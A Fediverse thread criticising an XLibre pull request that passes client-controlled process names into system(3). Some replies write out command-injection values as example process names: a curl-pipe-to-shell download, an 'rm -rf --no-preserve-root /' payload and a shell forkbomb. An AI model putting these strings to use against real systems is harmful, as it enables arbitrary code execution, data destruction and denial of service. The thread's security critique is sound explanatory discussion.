Conversation

this is truly incredible: https://github.com/X11Libre/xserver/pull/1627/files

they are using system(3) inside a security-critical domain (the display server).

but yes, sure, my refusal of xlibre on security grounds is the problem

43
4
0

@ariadne
`system("which dialog > /dev/null 2>&1")`

that is just *chef's kiss*

1
0
0

@ariadne great goddess of the end, what the hell are they smoking??

0
0
0
@ariadne Quectel-tier code (Quectel EG25-G firmware used system(3) too). I don't think even metux would accept this PR, but he does seem to have reviewed it and didn't mention use of system(3) as a problem.

Edit: Originally this post said "Qualcomm" instead of "Quectel". I thought Quectel was owned by Qualcomm for some reason, but this appears to be untrue.
3
1
11

@ariadne

system("python3 /usr/bin/totally_secure_thing.py");

๐Ÿ‘

0
0
0

@ariadne
breaking news: the x11 fork for chuds learning in realtime why it's useful to keep gay furries on your security team

4
7
0

@noisytoot system(3) should NEVER be used in a privileged security context, you can do all sorts of nasty things

1
0
3
@ariadne I know, Quectel's use of it resulted in CVE-2021-31698 (arbitrary code execution as root)
0
0
2

๐ŸŒธ lily ๐Ÿณ๏ธโ€โšง๏ธ flag_pansexual flag_ace ฮธฮ” โ‹ & โˆž

@ariadne oh my fucking god why are they doing it like that

1
0
0

@Dio9sys @ariadne (cry can't we have a managed x11 fork that keeps the gay furries involved? pretty please? Ill create it if we need it)

3
1
0

@ariadne from what I can tell they arenโ€™t even properly escaping the process name, so a binary named e.g. ';curl virus|sh could execute arbitrary code, but I might be misreading it

1
0
0

@ariadne the x server for fascists is made by idiots. making it less secure in combination of being in a time where multiple desktops are completely abandoning the X Window System in favor of wayland. absolute cinema

0
1
0

๐ŸŒธ lily ๐Ÿณ๏ธโ€โšง๏ธ flag_pansexual flag_ace ฮธฮ” โ‹ & โˆž

@ariadne also why is it suddenly on github

1
0
0

@tauon hasn't it always been on github?

1
0
0

@ariadne which isโ€ฆ.. less than ideal

1
0
0

@ariadne Am I reading this right? If the client controls its own process name it can write anything into 'text' which will eventually be expanded via %s in a format string which is passed to system? flan_thinkโ€‹

0
0
0

๐ŸŒธ lily ๐Ÿณ๏ธโ€โšง๏ธ flag_pansexual flag_ace ฮธฮ” โ‹ & โˆž

@ariadne i swear it was on some alternate forge for a while

0
0
0

@ariadne Wait, so I just need to sneak in a binary named zenity to the front of the PATH to get it executed in an elevated security context?

1
1
0

@ariadne In an academic sense, how bad is this actually? Assuming that X11 is already up and running before anybody can log in (no LD_PRELOAD or ENV fuckery) and "which" is a root-owned binary.

1
0
0

@developing_agent there's a few different ways to exploit it

- if you can control PATH (or the binaries in the directories referenced by PATH), you can run whatever you want in an elevated context

- there is an unescaped %s format string passed directly to the dialog application, that %s is a window title

- probably other things i'm not thinking about right now

2
0
0

@ariadne @Dio9sys i mean i'm specifically asking about x11/xorg here because *waves hands* old hardware support too?

2
1
0

@erikarn @Dio9sys yes, we are working on enabling 2D-only compositing in wayback

1
0
0

@ariadne From the geniuses who brought you โ€˜trying to use ^ for exponentiation in Cโ€™

0
0
0
@ariadne Alsoโ€ฆ do they not know about xmessage?

But well of course it's all just yuck yuck yuck anyway.
0
1
0
@erikarn @Dio9sys @ariadne I mean come on guys, it might be silly but what is the danger? they're calling which

If you have a compromised version of which on your computer or in your PATH you're already boned. So this is a bit of an overreaction. We don't need to dork dunk on people all the time.
1
0
0

@ariadne Yeah, the %s used to build the commands used by "system(command)" is definitely unsafe.

I'm having a hard time thinking how the constant string calls could be exploited though. (PATH should already be inherited from when X was started?)

I 100% expect there's someone with more knowledge of the deep magic that could exploit them, being as they're dragging in so much external state, but I dunno how.

0
0
0

@ariadne wow there's so many issues with that commit I don't even know where to start.

0
0
0

@ariadne Oh come on, *everything* needs to have a permission system built into it. It's for the children. And then I can take credit for it and brag about it.

0
0
0

@e_nomem @ariadne which (at least on... wherever I last read the manpage) doesn't start with PATH, annoyingly - it starts with some built-in paths like /bin for Some Fucking Reason.

(that doesn't excuse this very funny "security-feature", of course)

1
0
0

@erikarn @Dio9sys nothing to link yet, but someone gave a talk at XDC about their plans to build a generic 2D compositing library for non-GPU chips (e.g. old school accelerated VGA chips), which could be used as a backend for wlroots

1
0
0

@barometz The "security-feature" is just *chef's kiss*

I was actually thinking that, if the user is not legitimately using zenity, getting a binary named zenity _anywhere_ in the PATH is sufficient to pop the box since it's checked first.

That's putting aside a process that names itself something like "'; rm -rf --no-preserve-root /; echo"

@ariadne

2
0
0

@ariadne they should fully spell out "/usr/bin/which". Bam, fixed it.

1
0
0

@feld @Dio9sys @erikarn @ariadne There's at least one place where they're building commands using sprintf, with what at a cursory glance looks like "user-provided data", then simply call system(command) (line 660 in file shm.c, I suspect that client_name is under attacker control).

So, not guaranteed to be exploitable, but...

2
0
0

@vatine @feld@friedcheese.us @Dio9sys @erikarn

yes, this is not about using which at all. it is about the system(command) at line 660.

also there is xmessage(1) which is already part of the X11 distribution

0
0
0

@ariadne @erikarn @Dio9sys I admire Wayback for putting Wayland in the place where it makes sense and leaving the X11 protocol intact.

0
0
0

@e_nomem @barometz @ariadne I'm not sure how you'd do it though? Since $PATH is going to be inherited from whenever X started?

2
0
0

@developing_agent @e_nomem @barometz the real problem isn't the which stuff, it is the system(command) later that was generated using sprintf()

1
0
0

@vatine @feld @Dio9sys @erikarn @ariadne As the saying goes, even the biggest fool can create a security system he himself can see no problems in.

0
0
0

@developing_agent Admittedly a load-bearing 'just' in my comment above. It's not necessarily easy to do for a malicious actor.

@barometz @ariadne

0
0
0
@ariadne I love that the main xlibre dev reviewed this and didn't spot the glaring issue
0
0
0

@ariadne and they copy-pasted identical code 3 times...?!???? ๐Ÿ™ƒ

1
0
0

@ariadne system(), the gift that keeps on giving.

But the whole patch looks very wtf.

0
0
0

@ariadne promote code that makes you happy ๐Ÿ˜€

0
0
0

@ariadne The author's primary motivation seems to be bragging about it ๐Ÿ™ƒ https://github.com/X11Libre/xserver/pull/1627#discussion_r2609127512

0
0
0

@ariadne ngl I'd straight up forgotten that system(3) even existed since using it is such a bad idea

0
0
0

@ariadne
Holy shit I thought that was eradicated like almost 30 years ago.
For the love of God, Montressor!

0
0
0

@ariadne would guess that even CoPilot would not write this kind of stuff. But you never knowโ€ฆ the real surprise is that this made it into a commit at all, was everybody sleeping?

0
0
0
@ariadne@treehouse.systems

  • reads toot
  • vague confusion
  • man 3 system
  • HOLY FORKING SHIRTBALLS
Yeah, that's baaaaad.
0
0
0

@ariadne @Dio9sys that's pretty neat looking.

Thing is, the SGI hardware i'm hacking on doesn't even expose a linear framebuffer. It ranges from "you get to blit things into the framebuffer, but you need to use DMA/PIO to read/write regions if you're not doing shapes" to "oh yeah i have a framebuffer but it's in like 32x32 or 64x64 tiles.

I'm filling in the missing ye olde acceleration stuff for the newport graphics x11 acceleration. It's tedious, but fun. No linear framebuffer.

1
0
0

@ariadne i feel like there's no good way to do what they're doing without the xserver drawing the prompt itself, or some sort of tight coupling with the wm/xcompositor

1
0
0

@ariadne which is what the portal->compositor<->pipewire dance is doing, and that's window system independent... what a joke

0
0
0

@ariadne calling this โ€œsecurity-featureโ€ is insane ๐Ÿ˜ญ

0
0
0

@noisytoot any pointers? We had some in a service called qcmap which should be fixed. Is this what you are refereing to? @ariadne

1
0
0

@ariadne uuughhhhh! also, "which" isnt posix, you should use "command -v"

0
0
0

@erikarn @Dio9sys @ariadne why do we need an X11 fork. wayland is the thing actually being maintained, the X11 chud fork literally only exists due to opportunism

1
0
0
@canacar @ariadne I was referring to https://blog.nns.ee/2021/04/03/modem-rce. I thought that Quectel was owned by Qualcomm for some reason, but it appears that it's not.
1
0
0

@erikarn @ariadne @Dio9sys any chance of @tde looking into wayback? it seems promising, possibly as an experimental branch or some sort of toggleable setting so TDE can use a display server that takes advantage of newer GPUs a bit better

0
0
0
not true
Show content

@haematophage @Dio9sys @ariadne@treehouse.systems

xenocara

0
0
0

@noisytoot thanks! Some of their modules do use Qualcomm chips, but I guess this is not one of those. @ariadne

0
0
0

@erikarn @ariadne @Dio9sys tes please!

(Not going to use Wayland. A few of the ways I use X are fundamentaly inimical to its base design concepts. But I do need a way to run Wayland programs (not entire sessions) under X.)

0
0
0

@andreaskem @ariadne
That's the more harmless part - a bit further down it's way more fun, there commands for zenity etc are built with `snprintf()` and string (%s) arguments like `client_name` or `window_name` - and also run with `system()`

0
0
0
@ariadne ok, so what? it's a fixed command string, no parameters are passed which could be escaped, if your `which` is compromised you are done for either way. I see nothing wrong with it.
1
0
0

@gorplop so you think that this code will be okay when it encounters a process named " && (){ :|:&; }; :& ? why do you think that? just wondering.

1
1
0

@gorplop and if you think that is not possible, you may want to read about setprocname(3) and setproctitle(3).

1
0
0
@ariadne oh well, ok, that code sucks. Still, thats an open PR.
1
0
0

@gorplop an open PR which metux has reviewed but not rejected. the point is that there is not acceptable quality control in Xlibre given the privileged nature of display servers.

1
0
0

@gorplop as this is a process and leadership problem, there are hundreds more which have been merged. many of which have been unmerged in upstream.

1
0
0

@noisytoot this is pretty typical vendor-grade code sadly, I've literally seen system("echo blah") to write output even.

1
0
1

there are quite a few reactionaries in my comments, some of which have been defederated in their entirety.

for the others:

1. although the system("which ...") use is silly, that isn't the problem here.

2. what do you think will happen when the code in this PR encounters a process named `" && :() { : | : & }; :&`? will it safely handle such a process name? before saying "that's impossible" please read setprocname(3), setproctitle(3), or in the case of Linux, understand that argv[0] is mutable.

3. yes, it is an open PR. it is also reflective of the code quality of many other PRs which have been merged to Xlibre already. how do you think that impacts its security record?

2
1
0

@ariadne what the actual fuck did i just read

0
0
0
politics?
Show content

@ariadne I think @q66 made a comment once that hit the nail on the head that the ppl who rail against dei and vocally say they put code quality first tend to have very poor code quality

0
0
0

@ariadne โ€œOh yeah? You enjoy security? You know what?โ€ deletes your security mario_flop

0
0
0

๐ŸŽ„๐Ÿณ๏ธโ€๐ŸŒˆ๐ŸŽƒ๐Ÿ‡ง๐Ÿ‡ทLuana๐Ÿ‡ง๐Ÿ‡ท๐ŸŽƒ๐Ÿณ๏ธโ€๐ŸŒˆ๐ŸŽ„

@ariadne

sure, my refusal of xlibre on security grounds is the problem

Even if there werenโ€™t security problems, it should still be refused

0
1
0
no fucking way ๐Ÿ˜ญ
0
0
0

and yes, sometimes i post these things as bait to find out if we are missing alt-right reactionary servers that we need to defederate. it's like vaccines but for social media โค๏ธ

2
1
0

by the way, the ":() { : | : & }; :&" part earlier? that's a forkbomb. don't run it unless you want to deal with the consequences of running a forkbomb (in most cases, hard rebooting).

4
1
0
@ariadne In fact I've yet to find a system where you're not stuck with hard-rebooting in case of the shell fork-bomb.
Softer ones where it just spawns processes in a loop but stays open being much easier to deal with.
3
0
0

@lanodan if you ctrl-c immediately and then kill all shells, it should recover :)))

1
0
0
@ariadne Better go real fast on this one, at least I remember that trying to make killall do this was a lesson in futility because by the time it would have done it's loop over proc, others processes would have spawned.
1
0
0

@haematophage @Dio9sys
TLDR: X11 forks are going to run into problems,

Problem is, X11 as protocol has problems, which can't be (neatly) resolved without creating X12 which would need a compatibility layer for X11.
At this point developers decided to not carry the burden and started over.

Not to mention the Xorg code base and quirks. You can test developers on that. I would doubt devs not swearing like a sailor within minutes.

1
0
0
@gom @Dio9sys what are the problems with the protocol that cannot be resolved?
1
0
0

@ariadne Why is the X11 server a security boundary on your setup neobot_sweat

Anything that has X11 access should be assumed to have at least the same privs as the user running the X11 server (which is hopefully just the regular user that owns the session)

NaziXorg X11Libre has a whole lot of other shit to laugh at it for

2
0
0

@ity so this code will be fine if it encounters a process named `(){ :|:& }; :&`?

1
0
0

@lanodan @ariadne I am half tempted to try on mine cuz I am pretty sure I will just hit the process ulimit and it will terminate gracefully when I close the parent process of all of them (the term em)

1
0
0

@ariadne I don't see how that's relevant to what I said

1
0
0

@ariadne Wait, they taste good? Why did nobody tell me afore?

0
0
0
@ity @ariadne they also introduced their own(bad) extension meant to introduce sandboxing, so clearly they want their software to be a security boundary
1
0
0

@ariadne I won a bet with a professor in university using this. He said there was no way my regular user account could bring down the system.

1
0
0

Haelwenn /ัะปะฒัะฝ/ triskell ๐Ÿ”œFOSDEM

@ity @ariadne Closing the parent process won't have an effect, specially as it's backgrounded.
(Otherwise you'd have to use nohup, which doesn't looks as cryptic)

1
0
0

@lanodan @ariadne If I remember right, & does not reparent it to pid1, but rather to the session leader, which should get killed when the terminal emulator dies

But I should actually check, true. I will probably test in a VM. I have played around with it in a cgroup but yk.

1
0
0

@haematophage @Dio9sys
Colour format in X11 is 32bit (rgb+alpha, each 8bit). HDR won't work without redefining the colour format. 40bit with 10bit for each channel or 10bit rgb, 2bit alpha (wtf?!, but this was floated for XLibre)

Isolating applications, it's part of Wayland, but not part of X11 and Xorg. Xlibre introduced a namespace extension, providing optional security if this extension is used.
"Optional security" most of the time is equal to "no security, but warm feelings".. Just don't!

1
0
0

@Mae @ariadne oh right that happened, I forgot x3 Tbh whatever they want should be ignored (and so should their broken software)

I am mostly ignoring them atp, not worth my energy

1
0
0

@ity at any rate, it is a security boundary because it mediates access to data between processes. they have also added their own extension to further mediate access to data between process. this extension is, like the X Security extension before it, comically bad.

also: please understand security fundamentals beyond that of simple UNIX user accounts

1
0
0
@ariadne Do you have any plans to share the list of alt-right servers that're good to defederate?

Asking for a me.
0
0
0

@ariadne I would say defining security boundary as "mediates IPC" is not really gonna match how most entities see it. It might match what X11Libre thinks, but def not what X.org thinks, and you are gonna have a really bad time expecting X.org Server to fulfill any expectations one would have of a security boundary.

As for "security fundamentals beyond Unix accounts", I don't see where A, you are getting from that I don't, and B, what do you mean to say.

Instead of assuming what I do or do not know, just state what you actually mean to say.

0
0
0

Haelwenn /ัะปะฒัะฝ/ triskell ๐Ÿ”œFOSDEM

@ity @ariadne Yeah, & keeps it to the session leader, but you'd need a session leader which sends a SIGTERM/SIGKILL to it's process group before exiting, and I don't think any terminal emulator does that.

At least sending the kill to a process group would be more effective against a forkbomb than killall(1), but also more damaging. (But of course better than ultimately hard-rebooting)

1
0
0
@gom @Dio9sys

A) i am not a professional photographer and i imagine that very few linux users are, so compatibility with a colour format that is barely even implemented in industry-grade technology is at the bottom of my list of "things that need to be solved at any cost"

B) this is not a problem with the protocol, this is a way you would like things to operate so that you can have warm feelings. Wayland takes a steak knife and gives me a butter knife instead, because if somebody could walk in and stab me with a steak knife. When I point out that I like steak and lock my door, they tell me that if i really need to cut steak I should tell the butcher to add support for butter knives.
1
0
0

@lanodan @ariadne It has been a while since I worked on term-ems and shells

I would assume that while it doesn't SIGKILL, it ends up with the child dying, and iirc the term-em is the session leader, or the main interactive shell instance, both of which should end up dying

But atp I should just go read what *sh, some random term-em, and the kernel do, because I'm atm pulling it outta my ass as I forgot x3

0
0
0

@haematophage @Dio9sys
A) "It's not part of my use case and I doubt, that this interests a lot of people" is not how one should design a protocol.
On the other hand, proper screen and HDR videos is just nice and works with wayland without having "professional" needs.

B) What?

2
0
0
@gom @Dio9sys A) that's exactly how Wayland is designed, though. "We won't implement client side decorations because we don't want them". B) I'm sure you can understand how "Taking away the ability to do something because malicious actors could do bad things with it" applies in the case of application sandboxing. I know you're smart enough.
1
0
0

@ariadne You're not like surprised by this I hope. 90% of Nazis are incompetent And Xlibre didn't get any of the actually dangerous ones

0
0
0

@haematophage @Dio9sys Really, I can't follow you.
CSD should work with wayland?! SSD is WIP (https://wayland.app/protocols/xdg-decoration-unstable-v1)

Framing properly defined data flows as "taking away". I just can't..

2
0
0
@gom @Dio9sys "why would you ever want to run a program that doesnt do things the way i think it should?? are you some kind of stupid person?"
0
0
0
@astraleureka why would anyone ever do that!? I can't believe they don't know about printf
0
0
1

@lanodan @ariadne

Just tried it here (ghostty in GNOME).

Noticeably slowed down the system. After a while it ran out of pids and the bashes started spewing error messages, and I could no longer open new terminals.

Closed the terminal tab and after a few seconds the user manager killed the rest of the cgroup, resolving the forkbomb. It ended up starting about 500000 processes before it got killed.

Ptyxis and GNOME Terminal behaved similarly.

1
0
0
@gom @Dio9sys "i dont understand, there's an unstable optional extension to the protocol that means some implementations can maybe do a thing you like, why are you not switching?" (edit: i notice i wrote the wrong thing, i meant server side decorations. i rewrote the sentence a couple times switching between "we're only implementing CSD because we think that's what you should want" and "we won't implement SSD because we don't want to" and clearly i did not make sure the whole sentence was oriented one way before hitting send)
0
0
0

@lanodan @ariadne

So I believe the reasons this was that the system manager limited my user to 73487 pids, and the user manager limited the terminal to 33403 pids. In the case of Ptyxis and GNOME Terminal, the tabs use separate scopes and each has the limit. ghostty uses custom sub-cgroups sharing the terminal's limit.

If I wasn't using a desktop environment that starts apps as user services, I think I still could have logged in as root and killed the forkbomb manually.

0
0
0

@gom

HDR is actually becoming increasingly used in gaming!

1
0
0

@aismallard i am increasingly feeling that sticking to x11 is fash-coded

1
0
0

@leo literally reactionary (clinging to a false past that never really existed)

1
0
0

@leo Speaking of which I need to stop being lazy and switch to wayland. I have some things set up but I just have been super putting it off

0
0
0

@Dio9sys @ariadne I mean at this point, we might as well put a gay trans furry directly on the X11 board of directors.

Oh wait @Lyude

0
0
0

TheEvilSkeleton ๐Ÿ‡ฎ๐Ÿ‡ณ ๐Ÿณ๏ธโ€โšง๏ธ

@ariadne I think the bigger issue is the fact that, if I understand correctly, none of these labels are translatable

1
0
0

@TheEvilSkeleton i mean, accessibility seems important in a vista UAC-like feature, yes

0
0
0

@mos_8502 @ariadne you can evem bring down the whole hypervisor by running it in a VM.

0
0
0

@ariadne or replace the hardware. A student ran a forkbomb. The PC got hot and ran for a weekend with all fans at max. Week after: fan error. The fan controller, hard soldered to the main board, was faulty.

0
0
0

@ariadne To be fair, that's just a PR and hasn't been merged... But since the author is listed as a previous contributor, that's not inspiring confidence? :S

Also, to their credit, they added whitelist-based string sanitisation! For printing into their char text[1024]โ€”C code like it's 1990 ๐ŸคŸ

Looks also like two of the maintainers have said "no" to the PR.

0
0
0

@ariadne btw isn't this the guy also "maintaining" WinRing0? THAT actually spooks the living heck out of me.

1
0
0

@ariadne @voidanix itโ€™s a hack/driver for allowing unprivileged programs to raccess hardware devices, like for example LED RGB raccontrol programs

1
0
0

@ariadne @gorplop I mean, the dude probably just skimmed through the PR and left only _one comment_, not a proper approval/rejection.

Anyone can put up PRs as bad as this one on other projects, but nobody goes running around saying stuff like "oh systemd has this open PR, this project is awful!". I get Xlibre is a meme but I'd rather look at merged code.

0
0
0
@ariadne @developing_agent wouldn't it just be more efficient to send them a comment on the pull request instead of posting on the Fediverse where they'll never see it though


edit: and who can control the X server's PATH except root?
1
0
0
@feld @developing_agent @ariadne Somehow, through some weird observation I cannot understand, I don't think that helping the PR author, or even notifying the PR author about that possibility was ever the intention of this thread.

No idea how I came to that conclusion though.
1
0
0
@phnt @feld @developing_agent @ariadne especially as this is a first time contributor to that repo, and the maintainers have already commented the same thoughts half a day ago
1
0
0
@i @phnt whoa whoa whoa did we just let facts into this thread? that seems dangerous
0
0
0

@lanodan @ariadne it can be made survivable in terminals which do a cgroup per shell โ€“ e.g. libvte in a systemd environment sets a tasks.max on each cgroup (capping it to like 10% or 33% of the system's global maximum from what I remember), so the rest of the system will stutter but keep more-or-less running.

(yes I have tried it, a while ago; did not try closing the window, but was able to 'systemctl --user kill' the whole tab from another tab.)

IIRC ghostty also has support for cgroups (also relying on systemd's API)... otherwise .profile could migrate self on shell startup, if something like openrc at least creates a per-user cgroup with unprivileged write access.

(in theory the terminal could also use the cgroup interfaces to either freeze or sigkill the entire cgroup at once without looping over pids/pgrps, but I don't think any terminal does that yet.)

0
0
0

@Dio9sys @gom yeah, framing HDR display support as some niche professional thing is weird. do you not like your movies looking better?

0
0
0

@ariadne my friend has a tattoo of this which i think is kinda cool

1
0
0

@ariadne Setting aside the obvious security problems, would this even work?

It essentially has the X server block waiting for an X client to run and exit. And some of the prompt programs it might run appear to be ncurses text mode clients. Where are they going to display to?

0
0
0